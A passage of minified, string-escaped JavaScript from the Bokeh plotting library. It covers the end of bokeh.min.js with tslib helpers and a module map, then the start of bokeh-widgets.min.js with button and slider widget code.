RegExp(\\\"^\\\\\\\\s*([+-])(\\\\\\\\d+)\\\\\\\\s+(\\\"+l+\\\")s?\\\\\\\\s*$\\\",\\\"i\\\"),h=[36e5,6e4,1e3,1];function u(t,e){var i,n,r;return n=new Date(Date.UTC(t.getUTCFullYear(),0)),i=Math.floor((t.getTime()-n.getTime())/864e5),n.getUTCDay()==e?r=0:8==(r=7-n.getUTCDay()+e)&&(r=1),r<=i?Math.floor((i-r)/7)+1:0}function i(t){var e,i,n;return i=t.getUTCFullYear(),e=new Date(Date.UTC(i,0)).getUTCDay(),(n=u(t,1)+(1<e&&e<=4?1:0))?53!=n||4==e||3==e&&29==new Date(i,1,29).getDate()?[n,t.getUTCFullYear()]:[1,t.getUTCFullYear()+1]:(i=t.getUTCFullYear()-1,e=new Date(Date.UTC(i,0)).getUTCDay(),[n=4==e||3==e&&29==new Date(i,1,29).getDate()?53:52,t.getUTCFullYear()-1])}return l=l.toLowerCase().split(\\\"|\\\"),\\\"delmHMSUWVgCIky\\\".replace(/./g,function(t){e[t].pad=2}),e.N.pad=9,e.j.pad=3,e.k.style=\\\"_\\\",e.l.style=\\\"_\\\",e.e.style=\\\"_\\\",function(){return e.convert(arguments)}})},function(t,n,e){\\n      /*! *****************************************************************************\\n          Copyright (c) Microsoft Corporation. All rights reserved.\\n          Licensed under the Apache License, Version 2.0 (the \\\"License\\\"); you may not use\\n          this file except in compliance with the License. You may obtain a copy of the\\n          License at http://www.apache.org/licenses/LICENSE-2.0\\n          \\n          THIS CODE IS PROVIDED ON AN *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\\n          KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY IMPLIED\\n          WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE,\\n          MERCHANTABLITY OR NON-INFRINGEMENT.\\n          \\n          See the Apache Version 2.0 License for specific language governing permissions\\n          and limitations under the License.\\n          ***************************************************************************** */\\n      var i,r,o,s,a,l,h,u,c,_,p,d,f,v,m,g,y,b,x;!function(t){var e=\\\"object\\\"==typeof global?global:\\\"object\\\"==typeof self?self:\\\"object\\\"==typeof this?this:{};function i(i,n){return i!==e&&(\\\"function\\\"==typeof Object.create?Object.defineProperty(i,\\\"__esModule\\\",{value:!0}):i.__esModule=!0),function(t,e){return i[t]=n?n(t,e):e}}\\\"object\\\"==typeof n&&\\\"object\\\"==typeof n.exports?t(i(e,i(n.exports))):t(i(e))}(function(t){var n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)e.hasOwnProperty(i)&&(t[i]=e[i])};i=function(t,e){function i(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(i.prototype=e.prototype,new i)},r=Object.assign||function(t){for(var e,i=1,n=arguments.length;i<n;i++)for(var r in e=arguments[i])Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t},o=function(t,e){var i={};for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&e.indexOf(n)<0&&(i[n]=t[n]);if(null!=t&&\\\"function\\\"==typeof Object.getOwnPropertySymbols)for(var r=0,n=Object.getOwnPropertySymbols(t);r<n.length;r++)e.indexOf(n[r])<0&&(i[n[r]]=t[n[r]]);return i},s=function(t,e,i,n){var r,o=arguments.length,s=o<3?e:null===n?n=Object.getOwnPropertyDescriptor(e,i):n;if(\\\"object\\\"==typeof Reflect&&\\\"function\\\"==typeof Reflect.decorate)s=Reflect.decorate(t,e,i,n);else for(var a=t.length-1;0<=a;a--)(r=t[a])&&(s=(o<3?r(s):3<o?r(e,i,s):r(e,i))||s);return 3<o&&s&&Object.defineProperty(e,i,s),s},a=function(i,n){return function(t,e){n(t,e,i)}},l=function(t,e){if(\\\"object\\\"==typeof Reflect&&\\\"function\\\"==typeof Reflect.metadata)return Reflect.metadata(t,e)},h=function(o,s,a,l){return new(a||(a=Promise))(function(t,e){function i(t){try{r(l.next(t))}catch(t){e(t)}}function n(t){try{r(l.throw(t))}catch(t){e(t)}}function r(e){e.done?t(e.value):new a(function(t){t(e.value)}).then(i,n)}r((l=l.apply(o,s||[])).next())})},u=function(i,n){var r,o,s,t,a={label:0,sent:function(){if(1&s[0])throw s[1];return s[1]},trys:[],ops:[]};return t={next:e(0),throw:e(1),return:e(2)},\\\"function\\\"==typeof Symbol&&(t[Symbol.iterator]=function(){return this}),t;function e(e){return function(t){return function(e){if(r)throw new TypeError(\\\"Generator is already executing.\\\");for(;a;)try{if(r=1,o&&(s=2&e[0]?o.return:e[0]?o.throw||((s=o.return)&&s.call(o),0):o.next)&&!(s=s.call(o,e[1])).done)return s;switch(o=0,s&&(e=[2&e[0],s.value]),e[0]){case 0:case 1:s=e;break;case 4:return a.label++,{value:e[1],done:!1};case 5:a.label++,o=e[1],e=[0];continue;case 7:e=a.ops.pop(),a.trys.pop();continue;default:if(!(s=0<(s=a.trys).length&&s[s.length-1])&&(6===e[0]||2===e[0])){a=0;continue}if(3===e[0]&&(!s||e[1]>s[0]&&e[1]<s[3])){a.label=e[1];break}if(6===e[0]&&a.label<s[1]){a.label=s[1],s=e;break}if(s&&a.label<s[2]){a.label=s[2],a.ops.push(e);break}s[2]&&a.ops.pop(),a.trys.pop();continue}e=n.call(i,a)}catch(t){e=[6,t],o=0}finally{r=s=0}if(5&e[0])throw e[1];return{value:e[0]?e[1]:void 0,done:!0}}([e,t])}}},c=function(t,e){for(var i in t)e.hasOwnProperty(i)||(e[i]=t[i])},_=function(t){var e=\\\"function\\\"==typeof Symbol&&t[Symbol.iterator],i=0;return e?e.call(t):{next:function(){return t&&i>=t.length&&(t=void 0),{value:t&&t[i++],done:!t}}}},p=function(t,e){var i=\\\"function\\\"==typeof Symbol&&t[Symbol.iterator];if(!i)return t;var n,r,o=i.call(t),s=[];try{for(;(void 0===e||0<e--)&&!(n=o.next()).done;)s.push(n.value)}catch(t){r={error:t}}finally{try{n&&!n.done&&(i=o.return)&&i.call(o)}finally{if(r)throw r.error}}return s},d=function(){for(var t=[],e=0;e<arguments.length;e++)t=t.concat(p(arguments[e]));return t},f=function(t){return this instanceof f?(this.v=t,this):new f(t)},v=function(t,e,i){if(!Symbol.asyncIterator)throw new TypeError(\\\"Symbol.asyncIterator is not defined.\\\");var r,o=i.apply(t,e||[]),s=[];return r={},n(\\\"next\\\"),n(\\\"throw\\\"),n(\\\"return\\\"),r[Symbol.asyncIterator]=function(){return this},r;function n(n){o[n]&&(r[n]=function(i){return new Promise(function(t,e){1<s.push([n,i,t,e])||a(n,i)})})}function a(t,e){try{(i=o[t](e)).value instanceof f?Promise.resolve(i.value.v).then(l,h):u(s[0][2],i)}catch(t){u(s[0][3],t)}var i}function l(t){a(\\\"next\\\",t)}function h(t){a(\\\"throw\\\",t)}function u(t,e){t(e),s.shift(),s.length&&a(s[0][0],s[0][1])}},m=function(n){var t,r;return t={},e(\\\"next\\\"),e(\\\"throw\\\",function(t){throw t}),e(\\\"return\\\"),t[Symbol.iterator]=function(){return this},t;function e(e,i){t[e]=n[e]?function(t){return(r=!r)?{value:f(n[e](t)),done:\\\"return\\\"===e}:i?i(t):t}:i}},g=function(l){if(!Symbol.asyncIterator)throw new TypeError(\\\"Symbol.asyncIterator is not defined.\\\");var t,e=l[Symbol.asyncIterator];return e?e.call(l):(l=_(l),t={},i(\\\"next\\\"),i(\\\"throw\\\"),i(\\\"return\\\"),t[Symbol.asyncIterator]=function(){return this},t);function i(a){t[a]=l[a]&&function(s){return new Promise(function(t,e){var i,n,r,o;s=l[a](s),i=t,n=e,r=s.done,o=s.value,Promise.resolve(o).then(function(t){i({value:t,done:r})},n)})}}},y=function(t,e){return Object.defineProperty?Object.defineProperty(t,\\\"raw\\\",{value:e}):t.raw=e,t},b=function(t){if(t&&t.__esModule)return t;var e={};if(null!=t)for(var i in t)Object.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e.default=t,e},x=function(t){return t&&t.__esModule?t:{default:t}},t(\\\"__extends\\\",i),t(\\\"__assign\\\",r),t(\\\"__rest\\\",o),t(\\\"__decorate\\\",s),t(\\\"__param\\\",a),t(\\\"__metadata\\\",l),t(\\\"__awaiter\\\",h),t(\\\"__generator\\\",u),t(\\\"__exportStar\\\",c),t(\\\"__values\\\",_),t(\\\"__read\\\",p),t(\\\"__spread\\\",d),t(\\\"__await\\\",f),t(\\\"__asyncGenerator\\\",v),t(\\\"__asyncDelegator\\\",m),t(\\\"__asyncValues\\\",g),t(\\\"__makeTemplateObject\\\",y),t(\\\"__importStar\\\",b),t(\\\"__importDefault\\\",x)})}],s={base:0,\\\"client/connection\\\":1,\\\"client/session\\\":2,\\\"core/bokeh_events\\\":3,\\\"core/build_views\\\":4,\\\"core/dom\\\":5,\\\"core/dom_view\\\":6,\\\"core/enums\\\":7,\\\"core/has_props\\\":8,\\\"core/hittest\\\":9,\\\"core/layout/alignments\\\":10,\\\"core/layout/layout_canvas\\\":11,\\\"core/layout/side_panel\\\":12,\\\"core/layout/solver\\\":13,\\\"core/logging\\\":14,\\\"core/properties\\\":15,\\\"core/property_mixins\\\":16,\\\"core/selection_manager\\\":17,\\\"core/settings\\\":18,\\\"core/signaling\\\":19,\\\"core/ui_events\\\":20,\\\"core/util/array\\\":21,\\\"core/util/arrayable\\\":22,\\\"core/util/assert\\\":23,\\\"core/util/bbox\\\":24,\\\"core/util/callback\\\":25,\\\"core/util/canvas\\\":26,\\\"core/util/color\\\":27,\\\"core/util/compat\\\":28,\\\"core/util/data_structures\\\":29,\\\"core/util/eq\\\":30,\\\"core/util/math\\\":31,\\\"core/util/object\\\":32,\\\"core/util/projections\\\":33,\\\"core/util/refs\\\":34,\\\"core/util/selection\\\":35,\\\"core/util/serialization\\\":36,\\\"core/util/spatial\\\":37,\\\"core/util/string\\\":38,\\\"core/util/svg_colors\\\":39,\\\"core/util/templating\\\":40,\\\"core/util/text\\\":41,\\\"core/util/throttle\\\":42,\\\"core/util/typed_array\\\":43,\\\"core/util/types\\\":44,\\\"core/util/wheel\\\":45,\\\"core/util/zoom\\\":46,\\\"core/vectorization\\\":47,\\\"core/view\\\":48,\\\"core/visuals\\\":49,\\\"document/document\\\":50,\\\"document/events\\\":51,\\\"document/index\\\":52,\\\"embed/dom\\\":53,\\\"embed/index\\\":54,\\\"embed/notebook\\\":55,\\\"embed/server\\\":56,\\\"embed/standalone\\\":57,main:58,model:59,\\\"models/annotations/annotation\\\":60,\\\"models/annotations/arrow\\\":61,\\\"models/annotations/arrow_head\\\":62,\\\"models/annotations/band\\\":63,\\\"models/annotations/box_annotation\\\":64,\\\"models/annotations/color_bar\\\":65,\\\"models/annotations/index\\\":66,\\\"models/annotations/label\\\":67,\\\"models/annotations/label_set\\\":68,\\\"models/annotations/legend\\\":69,\\\"models/annotations/legend_item\\\":70,\\\"models/annotations/poly_annotation\\\":71,\\\"models/annotations/slope\\\":72,\\\"models/annotations/span\\\":73,\\\"models/annotations/text_annotation\\\":74,\\\"models/annotations/title\\\":75,\\\"models/annotations/toolbar_panel\\\":76,\\\"models/annotations/tooltip\\\":77,\\\"models/annotations/whisker\\\":78,\\\"models/axes/axis\\\":79,\\\"models/axes/categorical_axis\\\":80,\\\"models/axes/continuous_axis\\\":81,\\\"models/axes/datetime_axis\\\":82,\\\"models/axes/index\\\":83,\\\"models/axes/linear_axis\\\":84,\\\"models/axes/log_axis\\\":85,\\\"models/axes/mercator_axis\\\":86,\\\"models/callbacks/callback\\\":87,\\\"models/callbacks/customjs\\\":88,\\\"models/callbacks/index\\\":89,\\\"models/callbacks/open_url\\\":90,\\\"models/canvas/canvas\\\":91,\\\"models/canvas/cartesian_frame\\\":92,\\\"models/canvas/index\\\":93,\\\"models/expressions/cumsum\\\":94,\\\"models/expressions/expression\\\":95,\\\"models/expressions/index\\\":96,\\\"models/expressions/stack\\\":97,\\\"models/filters/boolean_filter\\\":98,\\\"models/filters/customjs_filter\\\":99,\\\"models/filters/filter\\\":100,\\\"models/filters/group_filter\\\":101,\\\"models/filters/index\\\":102,\\\"models/filters/index_filter\\\":103,\\\"models/formatters/basic_tick_formatter\\\":104,\\\"models/formatters/categorical_tick_formatter\\\":105,\\\"models/formatters/datetime_tick_formatter\\\":106,\\\"models/formatters/func_tick_formatter\\\":107,\\\"models/formatters/index\\\":108,\\\"models/formatters/log_tick_formatter\\\":109,\\\"models/formatters/mercator_tick_formatter\\\":110,\\\"models/formatters/numeral_tick_formatter\\\":111,\\\"models/formatters/printf_tick_formatter\\\":112,\\\"models/formatters/tick_formatter\\\":113,\\\"models/glyphs/annular_wedge\\\":114,\\\"models/glyphs/annulus\\\":115,\\\"models/glyphs/arc\\\":116,\\\"models/glyphs/bezier\\\":117,\\\"models/glyphs/box\\\":118,\\\"models/glyphs/center_rotatable\\\":119,\\\"models/glyphs/circle\\\":120,\\\"models/glyphs/ellipse\\\":121,\\\"models/glyphs/ellipse_oval\\\":122,\\\"models/glyphs/glyph\\\":123,\\\"models/glyphs/hbar\\\":124,\\\"models/glyphs/hex_tile\\\":125,\\\"models/glyphs/image\\\":126,\\\"models/glyphs/image_rgba\\\":127,\\\"models/glyphs/image_url\\\":128,\\\"models/glyphs/index\\\":129,\\\"models/glyphs/line\\\":130,\\\"models/glyphs/multi_line\\\":131,\\\"models/glyphs/multi_polygons\\\":132,\\\"models/glyphs/oval\\\":133,\\\"models/glyphs/patch\\\":134,\\\"models/glyphs/patches\\\":135,\\\"models/glyphs/quad\\\":136,\\\"models/glyphs/quadratic\\\":137,\\\"models/glyphs/ray\\\":138,\\\"models/glyphs/rect\\\":139,\\\"models/glyphs/segment\\\":140,\\\"models/glyphs/step\\\":141,\\\"models/glyphs/text\\\":142,\\\"models/glyphs/utils\\\":143,\\\"models/glyphs/vbar\\\":144,\\\"models/glyphs/wedge\\\":145,\\\"models/glyphs/xy_glyph\\\":146,\\\"models/graphs/graph_hit_test_policy\\\":147,\\\"models/graphs/index\\\":148,\\\"models/graphs/layout_provider\\\":149,\\\"models/graphs/static_layout_provider\\\":150,\\\"models/grids/grid\\\":151,\\\"models/grids/index\\\":152,\\\"models/index\\\":153,\\\"models/layouts/box\\\":154,\\\"models/layouts/column\\\":155,\\\"models/layouts/index\\\":156,\\\"models/layouts/layout_dom\\\":157,\\\"models/layouts/row\\\":158,\\\"models/layouts/spacer\\\":159,\\\"models/layouts/widget_box\\\":160,\\\"models/mappers/categorical_color_mapper\\\":161,\\\"models/mappers/categorical_mapper\\\":162,\\\"models/mappers/categorical_marker_mapper\\\":163,\\\"models/mappers/color_mapper\\\":164,\\\"models/mappers/continuous_color_mapper\\\":165,\\\"models/mappers/index\\\":166,\\\"models/mappers/linear_color_mapper\\\":167,\\\"models/mappers/log_color_mapper\\\":168,\\\"models/mappers/mapper\\\":169,\\\"models/markers/defs\\\":170,\\\"models/markers/index\\\":171,\\\"models/markers/marker\\\":172,\\\"models/markers/scatter\\\":173,\\\"models/plots/gmap_plot\\\":174,\\\"models/plots/gmap_plot_canvas\\\":175,\\\"models/plots/index\\\":176,\\\"models/plots/plot\\\":177,\\\"models/plots/plot_canvas\\\":178,\\\"models/ranges/data_range\\\":179,\\\"models/ranges/data_range1d\\\":180,\\\"models/ranges/factor_range\\\":181,\\\"models/ranges/index\\\":182,\\\"models/ranges/range\\\":183,\\\"models/ranges/range1d\\\":184,\\\"models/renderers/glyph_renderer\\\":185,\\\"models/renderers/graph_renderer\\\":186,\\\"models/renderers/guide_renderer\\\":187,\\\"models/renderers/index\\\":188,\\\"models/renderers/renderer\\\":189,\\\"models/scales/categorical_scale\\\":190,\\\"models/scales/index\\\":191,\\\"models/scales/linear_scale\\\":192,\\\"models/scales/log_scale\\\":193,\\\"models/scales/scale\\\":194,\\\"models/selections/index\\\":195,\\\"models/selections/interaction_policy\\\":196,\\\"models/selections/selection\\\":197,\\\"models/sources/ajax_data_source\\\":198,\\\"models/sources/cds_view\\\":199,\\\"models/sources/column_data_source\\\":200,\\\"models/sources/columnar_data_source\\\":201,\\\"models/sources/data_source\\\":202,\\\"models/sources/geojson_data_source\\\":203,\\\"models/sources/index\\\":204,\\\"models/sources/remote_data_source\\\":205,\\\"models/tickers/adaptive_ticker\\\":206,\\\"models/tickers/basic_ticker\\\":207,\\\"models/tickers/categorical_ticker\\\":208,\\\"models/tickers/composite_ticker\\\":209,\\\"models/tickers/continuous_ticker\\\":210,\\\"models/tickers/datetime_ticker\\\":211,\\\"models/tickers/days_ticker\\\":212,\\\"models/tickers/fixed_ticker\\\":213,\\\"models/tickers/index\\\":214,\\\"models/tickers/log_ticker\\\":215,\\\"models/tickers/mercator_ticker\\\":216,\\\"models/tickers/months_ticker\\\":217,\\\"models/tickers/single_interval_ticker\\\":218,\\\"models/tickers/ticker\\\":219,\\\"models/tickers/util\\\":220,\\\"models/tickers/years_ticker\\\":221,\\\"models/tiles/bbox_tile_source\\\":222,\\\"models/tiles/image_pool\\\":223,\\\"models/tiles/index\\\":224,\\\"models/tiles/mercator_tile_source\\\":225,\\\"models/tiles/quadkey_tile_source\\\":226,\\\"models/tiles/tile_renderer\\\":227,\\\"models/tiles/tile_source\\\":228,\\\"models/tiles/tile_utils\\\":229,\\\"models/tiles/tms_tile_source\\\":230,\\\"models/tiles/wmts_tile_source\\\":231,\\\"models/tools/actions/action_tool\\\":232,\\\"models/tools/actions/custom_action\\\":233,\\\"models/tools/actions/help_tool\\\":234,\\\"models/tools/actions/redo_tool\\\":235,\\\"models/tools/actions/reset_tool\\\":236,\\\"models/tools/actions/save_tool\\\":237,\\\"models/tools/actions/undo_tool\\\":238,\\\"models/tools/actions/zoom_in_tool\\\":239,\\\"models/tools/actions/zoom_out_tool\\\":240,\\\"models/tools/button_tool\\\":241,\\\"models/tools/edit/box_edit_tool\\\":242,\\\"models/tools/edit/edit_tool\\\":243,\\\"models/tools/edit/freehand_draw_tool\\\":244,\\\"models/tools/edit/point_draw_tool\\\":245,\\\"models/tools/edit/poly_draw_tool\\\":246,\\\"models/tools/edit/poly_edit_tool\\\":247,\\\"models/tools/edit/poly_tool\\\":248,\\\"models/tools/gestures/box_select_tool\\\":249,\\\"models/tools/gestures/box_zoom_tool\\\":250,\\\"models/tools/gestures/gesture_tool\\\":251,\\\"models/tools/gestures/lasso_select_tool\\\":252,\\\"models/tools/gestures/pan_tool\\\":253,\\\"models/tools/gestures/poly_select_tool\\\":254,\\\"models/tools/gestures/range_tool\\\":255,\\\"models/tools/gestures/select_tool\\\":256,\\\"models/tools/gestures/tap_tool\\\":257,\\\"models/tools/gestures/wheel_pan_tool\\\":258,\\\"models/tools/gestures/wheel_zoom_tool\\\":259,\\\"models/tools/index\\\":260,\\\"models/tools/inspectors/crosshair_tool\\\":261,\\\"models/tools/inspectors/customjs_hover\\\":262,\\\"models/tools/inspectors/hover_tool\\\":263,\\\"models/tools/inspectors/inspect_tool\\\":264,\\\"models/tools/on_off_button\\\":265,\\\"models/tools/tool\\\":266,\\\"models/tools/tool_proxy\\\":267,\\\"models/tools/toolbar\\\":268,\\\"models/tools/toolbar_base\\\":269,\\\"models/tools/toolbar_box\\\":270,\\\"models/tools/util\\\":271,\\\"models/transforms/customjs_transform\\\":272,\\\"models/transforms/dodge\\\":273,\\\"models/transforms/index\\\":274,\\\"models/transforms/interpolator\\\":275,\\\"models/transforms/jitter\\\":276,\\\"models/transforms/linear_interpolator\\\":277,\\\"models/transforms/step_interpolator\\\":278,\\\"models/transforms/transform\\\":279,polyfill:280,\\\"protocol/index\\\":281,\\\"protocol/message\\\":282,\\\"protocol/receiver\\\":283,safely:284,testing:285,version:286},r={},(l=(a=function(t){var e=null!=s[t]?s[t]:t;if(!r[e]){if(!o[e]){var i=new Error(\\\"Cannot find module '\\\"+t+\\\"'\\\");throw i.code=\\\"MODULE_NOT_FOUND\\\",i}var n=r[e]={exports:{}};o[e].call(n.exports,a,n,n.exports)}return r[e].exports})(58)).require=a,l.register_plugin=function(t,e,i){for(var n in t)o[n]=t[n];for(var n in e)s[n]=e[n];var r=a(i);for(var n in r)l[n]=r[n];return r},l)}(this);\\n      //# sourceMappingURL=bokeh.min.js.map\\n      /* END bokeh.min.js */\\n    },\\n    \\n    function(Bokeh) {\\n      /* BEGIN bokeh-widgets.min.js */\\n      /*!\\n       * Copyright (c) 2012 - 2018, Anaconda, Inc., and Bokeh Contributors\\n       * All rights reserved.\\n       * \\n       * Redistribution and use in source and binary forms, with or without modification,\\n       * are permitted provided that the following conditions are met:\\n       * \\n       * Redistributions of source code must retain the above copyright notice,\\n       * this list of conditions and the following disclaimer.\\n       * \\n       * Redistributions in binary form must reproduce the above copyright notice,\\n       * this list of conditions and the following disclaimer in the documentation\\n       * and/or other materials provided with the distribution.\\n       * \\n       * Neither the name of Anaconda nor the names of any contributors\\n       * may be used to endorse or promote products derived from this software\\n       * without specific prior written permission.\\n       * \\n       * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\"\\n       * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\\n       * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\\n       * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\\n       * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\\n       * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\\n       * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\\n       * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\\n       * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\\n       * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\\n       * THE POSSIBILITY OF SUCH DAMAGE.\\n       */\\n      !function(t,e){var i;i=t.Bokeh,function(t,e,n){if(null!=i)return i.register_plugin(t,{\\\"core/menus\\\":400,\\\"models/widgets/abstract_button\\\":401,\\\"models/widgets/abstract_icon\\\":402,\\\"models/widgets/abstract_slider\\\":403,\\\"models/widgets/autocomplete_input\\\":404,\\\"models/widgets/button\\\":405,\\\"models/widgets/checkbox_button_group\\\":406,\\\"models/widgets/checkbox_group\\\":407,\\\"models/widgets/date_picker\\\":408,\\\"models/widgets/date_range_slider\\\":409,\\\"models/widgets/date_slider\\\":410,\\\"models/widgets/div\\\":411,\\\"models/widgets/dropdown\\\":412,\\\"models/widgets/index\\\":413,\\\"models/widgets/input_widget\\\":414,\\\"models/widgets/main\\\":415,\\\"models/widgets/markup\\\":416,\\\"models/widgets/multiselect\\\":417,\\\"models/widgets/panel\\\":418,\\\"models/widgets/paragraph\\\":419,\\\"models/widgets/password_input\\\":420,\\\"models/widgets/pretext\\\":421,\\\"models/widgets/radio_button_group\\\":422,\\\"models/widgets/radio_group\\\":423,\\\"models/widgets/range_slider\\\":424,\\\"models/widgets/selectbox\\\":425,\\\"models/widgets/slider\\\":426,\\\"models/widgets/tabs\\\":427,\\\"models/widgets/text_input\\\":428,\\\"models/widgets/toggle\\\":429,\\\"models/widgets/widget\\\":440},415);throw new Error(\\\"Cannot find Bokeh. You have to load it prior to loading plugins.\\\")}({400:function(t,e,n){var i=t(19);n.clear_menus=new i.Signal0({},\\\"clear_menus\\\"),document.addEventListener(\\\"click\\\",function(){return n.clear_menus.emit()})},401:function(t,e,n){var i=t(391),r=t(15),o=t(5),s=t(4),a=t(440),l=function(n){function t(){return null!==n&&n.apply(this,arguments)||this}return i.__extends(t,n),t.prototype.initialize=function(t){n.prototype.initialize.call(this,t),this.icon_views={},this.render()},t.prototype.connect_signals=function(){var t=this;n.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.remove=function(){s.remove_views(this.icon_views),n.prototype.remove.call(this)},t.prototype._render_button=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return o.button.apply(void 0,[{type:\\\"button\\\",disabled:this.model.disabled,class:[\\\"bk-bs-btn\\\",\\\"bk-bs-btn-\\\"+this.model.button_type]}].concat(t))},t.prototype.render=function(){var e=this;n.prototype.render.call(this),o.empty(this.el),this.buttonEl=this._render_button(this.model.label),this.buttonEl.addEventListener(\\\"click\\\",function(t){return e._button_click(t)}),this.el.appendChild(this.buttonEl);var t=this.model.icon;null!=t&&(s.build_views(this.icon_views,[t],{parent:this}),o.prepend(this.buttonEl,this.icon_views[t.id].el,o.nbsp))},t.prototype._button_click=function(t){t.preventDefault(),this.change_input()},t.prototype.change_input=function(){null!=this.model.callback&&this.model.callback.execute(this.model)},t}(a.WidgetView);n.AbstractButtonView=l;var u=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"AbstractButton\\\",this.define({label:[r.String,\\\"Button\\\"],icon:[r.Instance],button_type:[r.String,\\\"default\\\"],callback:[r.Instance]})},t}(a.Widget);(n.AbstractButton=u).initClass()},402:function(t,e,n){var i=t(391),r=t(440),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e}(r.WidgetView);n.AbstractIconView=o;var s=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"AbstractIcon\\\"},t}(r.Widget);(n.AbstractIcon=s).initClass()},403:function(t,e,n){var i=t(391),f=t(431),r=t(15),m=t(5),v=t(14),g=t(21),y=t(25),o=t(440),s=function(p){function t(){return null!==p&&p.apply(this,arguments)||this}return i.__extends(t,p),t.prototype.initialize=function(t){p.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;p.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){var r=this;if(null==this.sliderEl&&p.prototype.render.call(this),null!=this.model.callback){var t=function(){return r.model.callback.execute(r.model)};switch(this.model.callback_policy){case\\\"continuous\\\":this.callback_wrapper=t;break;case\\\"throttle\\\":this.callback_wrapper=y.throttle(t,this.model.callback_throttle)}}var e,o=\\\"bk-noUi-\\\",n=this._calc_to(),i=n.start,s=n.end,a=n.value,l=n.step;if(this.model.tooltips){var u={to:function(t){return r.model.pretty(t)}};e=g.repeat(u,a.length)}else e=!1;if(this.el.classList.add(\\\"bk-slider\\\"),null==this.sliderEl){this.sliderEl=m.div(),this.el.appendChild(this.sliderEl),f.create(this.sliderEl,{cssPrefix:o,range:{min:i,max:s},start:a,step:l,behaviour:this.model.behaviour,connect:this.model.connected,tooltips:e,orientation:this.model.orientation,direction:this.model.direction}),this.sliderEl.noUiSlider.on(\\\"slide\\\",function(t,e,n){return r._slide(n)}),this.sliderEl.noUiSlider.on(\\\"change\\\",function(t,e,n){return r._change(n)});var c=this.sliderEl.querySelector(\\\".\\\"+o+\\\"handle\\\");c.setAttribute(\\\"tabindex\\\",\\\"0\\\"),c.addEventListener(\\\"keydown\\\",function(t){var e=r._calc_to().value[0];switch(t.which){case 37:e=Math.max(e-l,i);break;case 39:e=Math.min(e+l,s);break;default:return}var n=r.model.pretty(e);v.logger.debug(\\\"[slider keypress] value = \\\"+n),r.model.value=e,r.sliderEl.noUiSlider.set(e),null!=r.valueEl&&(r.valueEl.textContent=n),null!=r.callback_wrapper&&r.callback_wrapper()});var d=function(t,e){var n=r.sliderEl.querySelectorAll(\\\".\\\"+o+\\\"handle\\\")[t],i=n.querySelector(\\\".\\\"+o+\\\"tooltip\\\");i.style.display=e?\\\"block\\\":\\\"\\\"};this.sliderEl.noUiSlider.on(\\\"start\\\",function(t,e){return d(e,!0)}),this.sliderEl.noUiSlider.on(\\\"end\\\",function(t,e){return d(e,!1)})}else this.sliderEl.noUiSlider.updateOptions({range:{min:i,max:s},start:a,step:l});if(null!=this.titleEl&&this.el.removeChild(this.titleEl),null!=this.valueEl&&this.el.removeChild(this.valueEl),null!=this.model.title&&(0!=this.model.title.length&&(this.titleEl=m.label({},this.model.title+\\\":\\\"),this.el.insertBefore(this.titleEl,this.sliderEl)),this.model.show_value)){var h=a.map(function(t){return r.model.pretty(t)}).join(\\\" .. \\\");this.valueEl=m.div({class:\\\"bk-slider-value\\\"},h),this.el.insertBefore(this.valueEl,this.sliderEl)}this.model.disabled||(this.sliderEl.querySelector(\\\".\\\"+o+\\\"connect\\\").style.backgroundColor=this.model.bar_color),this.model.disabled?this.sliderEl.setAttribute(\\\"disabled\\\",\\\"true\\\"):this.sliderEl.removeAttribute(\\\"disabled\\\")},t.prototype._slide=function(t){var e=this,n=this._calc_from(t),i=t.map(function(t){return e.model.pretty(t)}).join(\\\" .. \\\");v.logger.debug(\\\"[slider slide] value = \\\"+i),null!=this.valueEl&&(this.valueEl.textContent=i),this.model.value=n,null!=this.callback_wrapper&&this.callback_wrapper()},t.prototype._change=function(t){var e=this,n=this._calc_from(t),i=t.map(function(t){return e.model.pretty(t)}).join(\\\" .. \\\");switch(v.logger.debug(\\\"[slider change] value = \\\"+i),null!=this.valueEl&&(this.valueEl.dataset.value=i),this.model.value=n,this.model.callback_policy){case\\\"mouseup\\\":case\\\"throttle\\\":null!=this.model.callback&&this.model.callback.execute(this.model)}},t}(o.WidgetView);n.AbstractSliderView=s;var a=function(n){function t(t){var e=n.call(this,t)||this;return e.connected=!1,e}return 